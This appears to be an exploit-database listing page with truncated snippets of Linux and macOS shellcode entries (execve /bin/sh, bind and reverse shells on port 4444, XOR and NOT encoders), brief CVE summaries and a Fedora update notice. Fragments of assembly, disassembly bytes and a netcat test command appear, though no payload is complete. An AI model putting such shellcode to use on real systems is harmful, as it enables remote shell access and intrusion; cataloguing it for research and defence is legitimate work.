Linux/x86_64 - AVX2 XOR Decoder + execve(/bin/sh) Shellcode (62 bytes)

/ ; Title : Linux/x8664 - AVX2 XOR Decoder + execve"/bin/sh" 62 bytes ; Author : Gonçalo Ribeiro @goncalor ; Website : goncalor.com ; SLAE64-ID : 1635 ; this only works on machines with a CPU that supports AVX2 instructions global start start: jmp calldecoder decoder: pop rsi lea rdi, rsi+1 ;...

elfutils: Divide-by-zero in arlib_add_symbols function in arlib.c

Divide-by-zero vulnerabilities in the function arlibaddsymbols in arlib.c in elfutils 0.174 allow remote attackers to cause a denial of service application crash with a crafted ELF file, as demonstrated by eu-ranlib, because a zero shentsize is mishandled...

CVE-2018-14529

Invoxia NVX220 devices allow access to /bin/sh via escape from a restricted CLI, leading to disclosure of password hashes...

CVE-2018-14529

CVE-2018-14529 affects Invoxia NVX220 devices via an escape from a restricted CLI that grants access to /bin/sh, enabling disclosure of password hashes. Multiple connected sources corroborate the core issue, with the root cause described as improper access to a restricted shell leading to sensiti...

CVE-2018-14529

Invoxia NVX220 devices allow access to /bin/sh via escape from a restricted CLI, leading to disclosure of password hashes...

Linux/ARM64 - execve(/bin/sh, [/bin/sh], NULL) Shellcode (48 Bytes)

/ Title: Linux/ARM64 - execve"/bin/sh", "/bin/sh", NULL Shellcode 48 Bytes Date: 2019-06-30 Tested: Ubuntu 16.04 aarch64 Author: Ken Kitahara Compilation: gcc -o loader loader.c ubuntu@ubuntu:/works$ lsbrelease -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu Xenial Xer...

Linux/x86_64 - Reverse(0.0.0.0:4444/TCP) Shell (/bin/sh) Shellcode (70 bytes)

/ Title: Linux/x8664 - Reverse0.0.0.0:4444/TCPShell/bin/sh- Null Free Shellcode ;Author: Aron Mihaljevic ;Architecture: Linux x8664 ;Shellcode Length: 70 bytes ;github = https://github.com/STARRBOY compilation and execution of assembly code ------------------------------------- nasm -felf64...

Linux/x86_64 - Bind (4444/TCP) Shell (/bin/sh) Shellcode (104 bytes)

;Title: Linux/x8664 - Bind 4444/TCP Shell /bin/sh 104 bytes ;Author: Aron Mihaljevic ;Architecture: Linux x8664 ;Shellcode Length: 104 bytes ;github = https://github.com/STARRBOY ;test shellcode = after you run the shellcode, open another terminal and run "netcat -vv 0.0.0.0 4444"...

Linux/x86_64 - Bind (4444/TCP) Shell (/bin/sh) #Shellcode (131 bytes)

Exploit for linux/x86-64 platform in category shellcode ;Title: Linux/x8664 - Bind 4444/TCP Shell /bin/sh ;Author: Aron Mihaljevic ;Architecture: Linux x8664 ;Shellcode Length: 131 bytes ;github = https://github.com/STARRBOY ;test shellcode = after you run the shellcode, open another terminal and...

Linux/x86_64 - Bind (4444/TCP) Shell (/bin/sh) Shellcode (131 bytes)

;Title: Linux/x8664 - Bind 4444/TCP Shell /bin/sh ;Author: Aron Mihaljevic ;Architecture: Linux x8664 ;Shellcode Length: 131 bytes ;github = https://github.com/STARRBOY ;test shellcode = after you run the shellcode, open another terminal and run "netcat -vv 0.0.0.0 4444" ================== ASSEMB...

Linux/x64 - Execve(/bin/sh) Shellcode (23 bytes)

/ ;Category: Shellcode ;Title: GNU/Linux x8664 - execve /bin/sh ;Author: rajvardhan ;Architecture: Linux x8664 ;Possibly The Smallest And Fully Reliable Shellcode =========== Asm Source =========== global start section .text start: xor rsi,rsi push rsi mov rdi,0x68732f2f6e69622f push rdi push rsp...

Linux/x86 - execve /bin/sh Shellcode (20 bytes)

/ Linux/x86 - execve /bin/sh shellcode 20 bytes Author: Rajvardhan Tested on: i686 GNU/Linux Shellcode Length: 20 Disassembly of section .text: 08049000 : 8049000: 31 c9 xor %ecx,%ecx 8049002: 6a 0b push $0xb 8049004: 58 pop %eax 8049005: 51 push %ecx 8049006: 68 2f 2f 73 68 push $0x68732f2f...

Fedora Update for coreutils FEDORA-2018-3a25355ab6

The remote host is missing an update for the Copyright C 2019 Greenbone Networks GmbH Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-or-later This program is free software; you can...

Linux/x86 - Multiple keys XOR Encoder / Decoder execve(/bin/sh) Shellcode (59 bytes)

Title: Linux/x86 - Multiple keys XOR Encoder / Decoder execve/bin/sh Shellcode 59 bytes Author: Xavi Beltran Date: 05/05/2019 Contact: email protected Purpose: spawn /bin/sh shell Tested On: Ubuntu 3.5.0-17-generic Arch: x86 Size: 59 bytes sh.nasm global start section .text start: xor eax, eax pu...

Linux/x86 - NOT Encoder / Decoder - execve(/bin/sh) Shellcode (44 bytes)

/ ; NOT-Encoder.py ; Author: Daniele Votta ; Description: This program encode shellcode with NOT technique. ; Tested on: i686 GNU/Linux ; Shellcode Length:25 !/usr/bin/python Python NOT Encoder Execve /bin/sh shellcode...

macOS execve(/bin/sh) Null Free Shellcode (31 bytes)

/ Title: macOS - execve/bin/sh + Null-Free Shellcode 31 bytes Tested: macOS 10.14.1 Author: Ken Kitahara Compilation: gcc -o loader loader.c dev:works devuser$ swvers ProductName: Mac OS X ProductVersion: 10.14.1 BuildVersion: 18B75 dev:works devuser$ cat binsh.s section .text global start start:...

macOS TCP Port 4444 IPv6 Shellcode (129 bytes)

/ Title: macOS - Bind 4444/TCP Shell /bin/sh + IPv6 Shellcode 129 bytes Tested: macOS 10.14.1 Author: Ken Kitahara Compilation: gcc -o loader loader.c dev:works devuser$ swvers ProductName: Mac OS X ProductVersion: 10.14.1 BuildVersion: 18B75 dev:works devuser$ cat ipv6bind.s section .text global...

macOS 127.0.0.1:4444 Reverse Shell Shellcode (103 bytes)

/ Title: macOS - Reverse 127.0.0.1:4444/TCP Shell /bin/sh + Null-Free Shellcode 103 bytes Tested: macOS 10.14.1 Author: Ken Kitahara Compilation: gcc -o loader loader.c dev:works devuser$ swvers ProductName: Mac OS X ProductVersion: 10.14.1 BuildVersion: 18B75 dev:works devuser$ cat ipv4rev.s...

macOS TCP/4444 Bind Shell Null Free Shellcode (123 bytes)

/ Title: macOS - Bind 4444/TCP Shell /bin/sh + Null-Free Shellcode 123 bytes Tested: macOS 10.14.1 Author: Ken Kitahara Compilation: gcc -o loader loader.c dev:works devuser$ swvers ProductName: Mac OS X ProductVersion: 10.14.1 BuildVersion: 18B75 dev:works devuser$ cat ipv4bind.s section .text...

Up (Ultimate Plumber) - Tool For Writing Linux Pipes With Instant Live Preview

up is the Ultimate Plumber , a tool for writing Linux pipes in a terminal-based UI interactively, with instant live preview of command results. The main goal of the Ultimate Plumber is to help interactively and incrementally explore textual data in Linux, by making it easier to quickly build...